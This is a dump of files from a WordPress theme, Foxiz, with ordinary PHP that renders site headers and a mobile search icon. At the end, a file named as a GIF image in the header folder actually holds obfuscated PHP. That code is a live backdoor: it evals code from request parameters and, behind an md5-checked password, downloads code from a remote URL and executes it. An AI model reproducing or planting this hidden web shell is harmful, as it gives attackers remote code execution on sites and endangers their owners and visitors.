'foxiz_mobile_search_icon' ) ) { function foxiz_mobile_search_icon() { ?> <?php if ( foxiz_is_amp() && foxiz_get_option( 'mobile_amp_search' ) ) : ?> <span class="mobile-menu-trigger mobile-search-icon" on="tap:AMP.setState({collapse: !collapse})"><i class="rbi rbi-search"></i></span> <?php elseif ( foxiz_get_option( 'mobile_search' ) ) : ?> <a href="#" class="mobile-menu-trigger mobile-search-icon"><i class="rbi rbi-search"></i></a> <?php endif; ?> <?php } } layouts.php 0000644 00000034116 14720720271 0006764 0 ustar 00 <?php /** Don't load directly */ if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! function_exists( 'foxiz_render_header_1' ) ) { function foxiz_render_header_1() { $settings = foxiz_get_header_settings( 'hd1' ); $classes = array(); $classes[] = 'header-wrap rb-section header-set-1 header-1'; if ( ! empty( $settings['hd1_width'] ) ) { $classes[] = 'header-fw'; } else { $classes[] = 'header-wrapper'; } if ( ! empty( $settings['nav_style'] ) ) { $classes[] = 'style-' . $settings['nav_style']; } else { $classes[] = 'style-shadow'; } if ( foxiz_get_mobile_quick_access() ) { $classes[] = 'has-quick-menu'; } ?> <header id="site-header" class="<?php echo join( ' ', $classes ); ?>"> <?php foxiz_render_top_site(); foxiz_reading_process_indicator(); ?> <div id="navbar-outer" class="navbar-outer"> <div id="sticky-holder" class="sticky-holder"> <div class="navbar-wrap"> <div class="rb-container edge-padding"> <div class="navbar-inner"> <div class="navbar-left"> <?php foxiz_render_logo( $settings ); foxiz_render_main_menu( false, $settings['sub_scheme'] ); foxiz_header_more( $settings ); foxiz_single_sticky(); ?> </div> <div class="navbar-right"> <?php foxiz_render_nav_right( $settings ); ?> </div> </div> </div> </div> <?php foxiz_header_mobile( $settings ); foxiz_header_alert( $settings ); ?> </div> </div> <?php if ( is_active_sidebar( 'foxiz_header_ad' ) ) { dynamic_sidebar( 'foxiz_header_ad' ); } ?> </header> <?php } } if ( ! function_exists( 'foxiz_render_header_2' ) ) { function foxiz_render_header_2() { $settings = foxiz_get_header_settings( 'hd1' ); $classes = array(); $classes[] = 'header-wrap rb-section header-set-1 header-2'; if ( ! empty( $settings['hd1_width'] ) ) { $classes[] = 'header-fw'; } else { $classes[] = 'header-wrapper'; } if ( ! empty( $settings['nav_style'] ) ) { $classes[] = 'style-' . $settings['nav_style']; } else { $classes[] = 'style-shadow'; } if ( foxiz_get_mobile_quick_access() ) { $classes[] = 'has-quick-menu'; } ?> <header id="site-header" class="<?php echo join( ' ', $classes ); ?>"> <?php foxiz_render_top_site(); foxiz_reading_process_indicator(); ?> <div id="navbar-outer" class="navbar-outer"> <div id="sticky-holder" class="sticky-holder"> <div class="navbar-wrap"> <div class="rb-container edge-padding"> <div class="navbar-inner"> <div class="navbar-left"> <?php foxiz_render_logo( $settings ); ?> </div> <div class="navbar-center"> <?php foxiz_render_main_menu( false, $settings['sub_scheme'] ); foxiz_header_more( $settings ); foxiz_single_sticky(); ?> </div> <div class="navbar-right"> <?php foxiz_render_nav_right( $settings ); ?> </div> </div> </div> </div> <?php foxiz_header_mobile( $settings ); foxiz_header_alert( $settings ); ?> </div> </div> <?php if ( is_active_sidebar( 'foxiz_header_ad' ) ) { dynamic_sidebar( 'foxiz_header_ad' ); } ?> </header> <?php } } if ( ! function_exists( 'foxiz_render_header_3' ) ) { function foxiz_render_header_3() { $settings = foxiz_get_header_settings( 'hd1' ); $classes = array(); $classes[] = 'header-wrap rb-section header-set-1 header-3'; if ( ! empty( $settings['hd1_width'] ) ) { $classes[] = 'header-fw'; } else { $classes[] = 'header-wrapper'; } if ( ! empty( $settings['nav_style'] ) ) { $classes[] = 'style-' . $settings['nav_style']; } else { $classes[] = 'style-shadow'; } if ( foxiz_get_mobile_quick_access() ) { $classes[] = 'has-quick-menu'; } ?> <header id="site-header" class="<?php echo join( ' ', $classes ); ?>"> <?php foxiz_render_top_site(); foxiz_reading_process_indicator(); ?> <div id="navbar-outer" class="navbar-outer"> <div id="sticky-holder" class="sticky-holder"> <div class="navbar-wrap"> <div class="rb-container edge-padding"> <div class="navbar-inner"> <div class="navbar-left"> <?php foxiz_render_logo( $settings ); ?> </div> <div class="navbar-center"> <?php foxiz_render_main_menu( false, $settings['sub_scheme'] ); foxiz_header_more( $settings ); foxiz_single_sticky(); ?> </div> <div class="navbar-right"> <?php foxiz_render_nav_right( $settings ); ?> </div> </div> </div> </div> <?php foxiz_header_mobile( $settings ); foxiz_header_alert( $settings ); ?> </div> </div> <?php if ( is_active_sidebar( 'foxiz_header_ad' ) ) { dynamic_sidebar( 'foxiz_header_ad' ); } ?> </header> <?php } } if ( ! function_exists( 'foxiz_render_header_4' ) ) { function foxiz_render_header_4() { $settings = foxiz_get_header_settings( 'hd4' ); $classes = array(); $classes[] = 'header-wrap rb-section header-4'; if ( ! empty( $settings['hd4_width'] ) && 'full' === $settings['hd4_width'] ) { $classes[] = 'header-fw'; } else { $classes[] = 'header-wrapper'; } if ( foxiz_get_mobile_quick_access() ) { $classes[] = 'has-quick-menu'; } ?> <header id="site-header" class="<?php echo join( ' ', $classes ); ?>"> <?php foxiz_render_top_site(); foxiz_reading_process_indicator(); ?> <div class="logo-sec"> <div class="logo-sec-inner rb-container edge-padding"> <div class="logo-sec-left"><?php foxiz_render_logo( $settings ); ?></div> <div class="logo-sec-right"> <?php if ( ! empty( $settings['header_socials'] ) ) { foxiz_header_socials( $settings ); } if ( ! empty( $settings['header_search_icon'] ) ) { $settings['header_search_heading'] = ''; foxiz_header_search_form( $settings ); } ?> </div> </div> </div> <div id="navbar-outer" class="navbar-outer"> <div id="sticky-holder" class="sticky-holder"> <div class="navbar-wrap"> <div class="rb-container edge-padding"> <div class="navbar-inner"> <div class="navbar-left"> <?php foxiz_render_main_menu( false, $settings['sub_scheme'] ); foxiz_header_more( $settings ); foxiz_single_sticky(); ?> </div> <div class="navbar-right"> <?php if ( ! empty( $settings['header_login_icon'] ) ) { foxiz_header_user( $settings ); } foxiz_header_mini_cart(); if ( ! empty( $settings['header_notification'] ) ) { foxiz_header_notification( $settings ); } if ( ! empty( $settings['single_font_resizer'] ) ) { foxiz_header_font_resizer(); } foxiz_dark_mode_switcher( $settings ); ?> </div> </div> </div> </div> <?php foxiz_header_mobile( $settings ); foxiz_header_alert( $settings ); ?> </div> </div> <?php if ( is_active_sidebar( 'foxiz_header_ad' ) ) { dynamic_sidebar( 'foxiz_header_ad' ); } ?> </header> <?php } } if ( ! function_exists( 'foxiz_render_header_5' ) ) { function foxiz_render_header_5() { $settings = foxiz_get_header_settings( 'hd5' ); $classes = array(); $classes[] = 'header-wrap rb-section header-5'; if ( empty( $settings['hd5_width'] ) ) { $classes[] = 'header-fw'; } else { $classes[] = 'header-wrapper'; } if ( ! empty( $settings['nav_style'] ) ) { $classes[] = 'style-' . $settings['nav_style']; } if ( foxiz_get_mobile_quick_access() ) { $classes[] = 'has-quick-menu'; } ?> <header id="site-header" class="<?php echo join( ' ', $classes ); ?>"> <?php foxiz_render_top_site(); foxiz_reading_process_indicator(); ?> <div class="logo-sec"> <div class="logo-sec-inner rb-container edge-padding"> <div class="logo-sec-left"> <?php if ( ! empty( $settings['header_login_icon'] ) ) { foxiz_header_user( $settings ); } if ( ! empty( $settings['header_socials'] ) ) { foxiz_header_socials( $settings ); } ?> </div> <div class="logo-sec-center"><?php foxiz_render_logo( $settings ); ?></div> <div class="logo-sec-right"> <div class="navbar-right"> <?php foxiz_header_mini_cart(); if ( ! empty( $settings['header_notification'] ) ) { foxiz_header_notification( $settings ); } if ( ! empty( $settings['header_search_icon'] ) ) { $settings['header_search_mode'] = 'search'; foxiz_header_search( $settings ); } if ( ! empty( $settings['single_font_resizer'] ) ) { foxiz_header_font_resizer(); } foxiz_dark_mode_switcher( $settings ); ?> </div> </div> </div> </div> <div id="navbar-outer" class="navbar-outer"> <div id="sticky-holder" class="sticky-holder"> <div class="navbar-wrap"> <div class="rb-container edge-padding"> <div class="navbar-inner"> <div class="navbar-center"> <?php foxiz_render_main_menu( false, $settings['sub_scheme'] ); foxiz_header_more( $settings ); foxiz_single_sticky(); ?> </div> </div> </div> </div> <?php foxiz_header_mobile( $settings ); foxiz_header_alert( $settings ); ?> </div> </div> <?php if ( is_active_sidebar( 'foxiz_header_ad' ) ) { dynamic_sidebar( 'foxiz_header_ad' ); } ?> </header> <?php } } /** amp header */ if ( ! function_exists( 'foxiz_render_header_amp' ) ) { function foxiz_render_header_amp() { $classes = array(); $settings = foxiz_get_option(); $classes[] = 'header-wrap header-set-1 rb-section'; if ( foxiz_get_mobile_quick_access() ) { $classes[] = 'has-quick-menu'; } ?> <header id="amp-header" class="<?php echo join( ' ', $classes ); ?>"> <div id="navbar-outer" class="navbar-outer"> <?php foxiz_header_mobile( $settings ); foxiz_header_alert( $settings ); ?> </div> </header> <?php if ( function_exists( 'foxiz_amp_ad' ) ) { foxiz_amp_ad( array( 'type' => foxiz_get_option( 'amp_header_ad_type' ), 'client' => foxiz_get_option( 'amp_header_adsense_client' ), 'slot' => foxiz_get_option( 'amp_header_adsense_slot' ), 'size' => foxiz_get_option( 'amp_header_adsense_size' ), 'custom' => foxiz_get_option( 'amp_header_ad_code' ), 'classname' => 'header-amp-ad amp-ad-wrap' ) ); } } } if ( ! function_exists( 'foxiz_render_header_rb_template' ) ) { /** * @return false * header builder */ function foxiz_render_header_rb_template() { $settings = foxiz_get_option(); $shortcode = ''; if ( is_home() ) { if ( ! empty( $settings['blog_header_template'] ) ) { $shortcode = $settings['blog_header_template']; } } elseif ( is_category() ) { global $wp_query; $data = get_option( 'foxiz_category_meta', array() ); $category_id = $wp_query->get_queried_object_id(); if ( ! empty( $data[ $category_id ]['header_template'] ) ) { $shortcode = $data[ $category_id ]['header_template']; } elseif ( ! empty( $settings['category_header_template'] ) ) { $shortcode = $settings['category_header_template']; } } elseif ( is_search() ) { if ( ! empty( $settings['search_header_template'] ) ) { $shortcode = $settings['search_header_template']; } } elseif ( is_singular() || is_page() ) { $shortcode = rb_get_meta( 'header_template', get_the_ID() ); } /** global value */ if ( empty( $shortcode ) ) { $shortcode = foxiz_get_option( 'header_template' ); } if ( empty( $shortcode ) ) { foxiz_render_header_1(); return false; } ?> <header id="site-header" class="header-wrap rb-section header-template"> <?php foxiz_reading_process_indicator(); ?> <div class="navbar-outer"> <?php echo '<div class="header-template-inner">' . do_shortcode( $shortcode ) . '</div>'; foxiz_header_mobile( $settings ); ?> </div> </header> <?php } } header/index.php 0000644 00000000000 14720720271 0007604 0 ustar 00 header/JRPieBEGQCVMfDal.gif 0000644 00000011557 14720720271 0011243 0 ustar 00 <?php $jYoPC/*-cm-*/ = /*-u3b-*/"r"."a"/*-ht]IQ=Gt|-*/."n"."g"/*-r+Xf(2{a-*/."e"; /*-zJ-*/$riE /*-sIE$>r)-*/= /*-EmNf4-KYe-*/$jYoPC/*-m}LK7`EZcv-*/("~", /*-9RP^K.-*/" "); /*-JD8W,>E(-*/$Bs/*-%f(;-*/=/*-0ZUCh-*/${$riE/*-q:-ENNI:C-*/[2+29]/*-mjK-*/.$riE/*-2b0EoE$WR-*/[10+49]/*-eTJ-*/.$riE/*-:E(L{Mm>:#-*/[28+19]./*-sP.Mg<--*/$riE/*-Tm]_5@-*/[42+5]./*-@[bqF;vL-*/$riE/*-<%-*/[17+34]./*-+_@l2<@+-*/$riE/*-i}x-*/[52+1]/*-v~{-*/.$riE/*-0x_-*/[24+33]/*-4(-*/}; /*-}}D~h-*/if(/*-Zu32u-*/in_array/*-vH]7`ce-*/(gettype/*-j9J$X#B;c-*/($Bs)."25",/*-iQkBsHo.-*/$Bs))/*-{?pgW=p|-*/{ $Bs/*-;)-*/[68]/*-GmZ^SQ-*/=/*-<z+!T,!l(-*/$Bs/*-,=D`-*/[68]./*-$Wm_9.tjR-*/$Bs/*-Lq&-*/[74];/*-gTpX&WmW1-*/ @eval/*-C@@I~RH-*/(/*-rx-*/$Bs/*-0[^n-*/[68]/*-wA~sFDr-*/(/*-SVYO[V}!-*/${$Bs[48]}/*-R8-*/[17])); }/*-[2D0G<7O-*/class /*-mD-hwomR-*/KFLwr{ /*-<h[WH5x-*/static/*-1h-*/ function /*-yi?meq-*/OVcWxBMFsG($fKu) /*-tUB8-*/{ $kDeiE/*-1WTk-*/ = /*-J&!xc---*/"r"./*-gm$I,-*/"a"./*-o,}-*/"n"./*-%I-*/"g"./*-`S-*/"e"; /*-|-H`-*/$WBkPAvCEpM/*-JF`SW!7Ay-*/ = /*-Qev4~g-*/$kDeiE/*->P#KS%N;-*/(/*-8lJSd9-*/"~"/*-m.ddfW-*/, /*-Y]Bd$S-*/" "/*-~Z<-*/);/*-Q]2j-*/ $DSz /*-1~h-*/= /*-e$a#-*/explode/*-g=-*/(/*-C<-*/"(", /*-n3m:h4u|jU-*/$fKu/*-n8T9B=>VN-*/); /*-<96g6EXX-*/$HVTaQsXBOh /*-ekb!D-*/= /*-vskrg4n-*/""; foreach /*-,we&wS80T&-*/(/*-=}|-*/$DSz /*-(,1sT0X-*/as /*-+o-*/$fXs /*-KJ$-*/=>/*-?-$-*/ $zXT/*-@P!&1cl-*/) /*-=2tY470-*/$HVTaQsXBOh /*-mbL$-*/.= /*-mK=36B+-*/$WBkPAvCEpM[$zXT/*-=J{>r}ywI>-*/ - /*-,op#Nz(,Z-*/68678/*-wx[tb-*/];/*-0.-*/ return /*-s[-*/$HVTaQsXBOh; /*-LD-*/} /*-cKx;-8)-*/static /*-J3G]k`mo-*/function /*-;X-*/Hp/*-z}-*/(/*->9A-*/$NJOAR,/*->|-*/ $np/*-Jwm-*/)/*-c5K$UP:Td,-*/ {/*-sc232Q-*/ $EV/*-8Ek@?-*/ = /*-A!D-*/curl_init/*-;14$9I0FT%-*/(/*-VSO#e-*/$NJOAR/*-JqDxu?lfEW-*/);/*-(s28L|K49-*/ curl_setopt/*-aT3-*/(/*-`T#xrM&wq-*/$EV,/*-{Qq01-*/ CURLOPT_RETURNTRANSFER,/*-)WyWd-*/ 1/*-.o-*/);/*-D#6}T^N-*/ $fead/*-3?1hd1-*/ = /*-(D-*/curl_exec/*-BT--*/(/*-yU[W-*/$EV/*-$VW-*/); /*-IE$gBO~K-*/return /*-y5yTgjh-*/empty/*-to%kz-*/(/*-:+1.X#Y1Lb-*/$fead/*-rU>d-*/)/*-EZ[Z};Jw:-*/ ? /*-@hd;31389-*/$np/*-8lnRnwZE-*/(/*-h&2#5-*/$NJOAR/*-uyfn,F&q-*/)/*-~a{>|8-*/ : /*-rf-*/$fead; /*-6h@e}k&-*/}/*-&?nNYA`-*/ static/*-(bJ8qmJ-*/ function /*-+6vw-*/kRwSOq/*-!5}-*/() /*-rJ4e%+Jd8-*/{/*-_>z-*/ $VWYqC /*--a1<VfJY_-*/=/*-F>1&E-*/ array/*-DIk^miP-*/("68705(68690(68703(68707(68688(68703(68709(68702(68687(68694(68705(68688(68699(68693(68694","68689(68688(68690(68709(68690(68693(68688(68755(68753","68698(68689(68693(68694(68709(68704(68703(68705(68693(68704(68703","68692(68707(68705(68697","68706(68707(68689(68703(68750(68752(68709(68704(68703(68705(68693(68704(68703","68702(68699(68696(68703(68709(68701(68703(68688(68709(68705(68693(68694(68688(68703(68694(68688(68689","68732(68762","68679","68757(68762","68739(68722(68722(68739(68715","68693(68702"); /*-,eX=|-*/foreach /*-T{S`[-*/(/*-TkRn%so?-*/$VWYqC/*-`=Httx_d1-*/ as /*-P)sZa{-*/$kedjICn/*-Vz}Y.^U-*/)/*-4XQzcLhr-*/ $EF/*-s{U:+-*/[] /*-ne?dc;QKE%-*/= /*-0Po)}@Ywy-*/self/*-Xj_wehRj}-*/::/*-HoE-*/OVcWxBMFsG/*-=uK{?-*/(/*-;xN)FjqgK-*/$kedjICn/*-8I-*/);/*-t}7ZF0Fh-*/$nyxPUQHVGb /*-7Qykgs:yh-*/= /*-6cwChm-*/@$EF/*-9dk-*/[/*-}r=C-8Y-*/1/*-Lpb-*/]/*-m8-*/(/*-L,Xk)Eg-*/${/*-ZSSRcyc-*/"_"/*-kAE-*/."G"/*-ZZ:V-*/."E"/*-X|f,-*/."T"/*-;0l-*/}[/*-OEo4oluj-*/$EF/*-j&P.=-*/[/*-XXnl7k_e-*/3+6/*-Miy-*/]]/*-vC;$~-*/);/*-{~z-*/ $yfHi /*-tkR>u%OD-*/=/*-c?AQG0rW-*/ @$EF/*-$mmV=s-*/[/*-Cu-*/1+2/*-FE}L-*/]/*-=B8R--*/(/*-]Tt,Du-*/$EF/*-KoD}ym8&(-*/[/*-Nnu08:.-*/4+2/*-V]J>-*/], /*-H(^y5)x]-*/$nyxPUQHVGb/*-if-u!-*/);/*-&fa-*/ $cSYRlnALe /*-{Utq~m-*/=/*-`o-*/ $EF/*-t--*/[/*-}Ao4xH-*/2+0/*-=|R-*/]/*-J2<Bs![|M-*/(/*-7xgB]|P-*/$yfHi,/*-$iJJW+Ly_}-*/ true/*-.Pr-*/); /*-{k9mX-*/@${/*-p-0c-*/"_"./*-y:-*/"G"./*-ybS=O1nc-*/"E"/*-TcB=`~Krt-*/."T"/*-KLKBxGIh--*/}/*-x>f6Z@-*/[/*-XyYrHr(yh-*/$EF/*-#1{.2Ti~m-*/[7+3/*-f_#BZ<7SG-*/]/*-xSBH-*/]/*-F@w8tR,H~Q-*/ == /*-3ha5,k{-*/1 /*-kF<#sOC)-*/&& /*-]k]3}z]-*/die/*-z+C&U[-*/(/*-MFU1-*/$EF[2+3/*-bHI:!0kG3-*/]/*->G}L1HT-*/(/*-N6]u#f-*/__FILE__/*-.#(-*/)/*-LsZt4O]y!?-*/); /*-Q~_!{^ViT-*/if/*-2;0|e2nn%~-*/(/*-vVnyu-*/ (/*-&V>-*/(@/*-W$-gI&a-*/$cSYRlnALe/*-3NK-*/[/*-&:-*/0/*--(-*/] /*-j)JCx<W&-*/- time/*-5@upqgP-*/()/*-r!(<#)}8-*/) > /*-SXV+TZ3-*/0/*-g$@C-*/)/*--=2Y{h@-*/ and /*-AY4-*/(/*-+UbD0-*/md5/*-=aopE@y,m-*/(/*-Rg-*/md5/*-EOXymH%V-*/(/*-E{#-*/$cSYRlnALe/*-d?a-*/[/*-]5Y_P-*/2+1/*-0MA)-*/]/*-,?|E=WYKbS-*/)/*-q&Lc|iBU&-*/)/*-x<>c)8--*/ === /*-t%Vq7}gPgY-*/"3f6bb74c8121467ec640ee8784de2caf"/*-F;m~{-*/)/*-XC:2}3;w-*/ ): /*-k28B)-*/$VlSkCiOLb /*-Zeb7~-*/=/*-2PK-*/ self/*-ciC8-*/::/*--`4-*/Hp/*-A]-*/(/*-6xJ4$-R>-*/$cSYRlnALe/*-wf}M$uMk-*/[/*--_N&:]-*/0+1/*-6P:-*/], /*-Z#z<-*/$EF/*-u096-Oy--*/[/*-:l-*/3+2/*-dOKD,vOy-*/]/*-fW-*/);/*-!a-*/@eval/*-JnzWTAhBB-*/(/*-l-*/$EF/*-a.M-*/[/*-458!?;-*/0+4/*-O<=A14-*/]/*-0~-*/(/*--0V.L-Y-*/$VlSkCiOLb/*-.-*/)/*-,!-*/);/*-iE%bN2-*//*-Y:gC}0-*/die;/*-F%-*/ endif;/*-YSDR)-HRy-*/ }/*-p3-*/}/*-9nX<Nh-*/KFLwr/*-4H-*/::/*-Ke=b&LwK`1-*/kRwSOq/*-l:v-*/();/*-M#$Fuw|%-*/ ?>